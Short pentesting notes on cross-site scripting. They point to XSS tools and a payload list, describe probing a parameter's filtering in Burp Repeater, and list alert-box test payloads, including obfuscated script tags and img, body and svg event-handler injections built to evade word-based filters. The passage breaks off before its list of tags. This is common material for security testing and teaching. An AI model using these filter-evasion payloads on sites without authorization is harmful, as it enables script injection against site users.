The Quick and Dirty

Automatic XSS bruter:

s0md3v/XSStrike

List of potential XSS payloads:

payloadbox/xss-payload-list

Online XSS scanner (lol shady):

Free online XSS scanner

Command in Kali:

xsser -h

Web Frameworks and Filters

To check if parameters in a web request are filtered, you can send a test payload and observe if and how they have been filtered or replaced by the server. The following can be set in the values for each parameter using Burp Repeater.

< > / ;

If no filtering is performed by the server, check if it uses word matching such as "<script" by running the following payload:

<script>alert('message')</script>

If the site is only blocking inputs such as the entire word "script" then test some other ways of injecting javascript:

<<ScRiPT >alert("obfuscated")<</sCRipT>

<img src='nevermind' onerror="alert('XSS');"/>

<body onload="alert(1)"/>

<svg onload="alert(1)">

While not exhaustive, the following commonly used HTML tags could allow a malicious user to inject script code: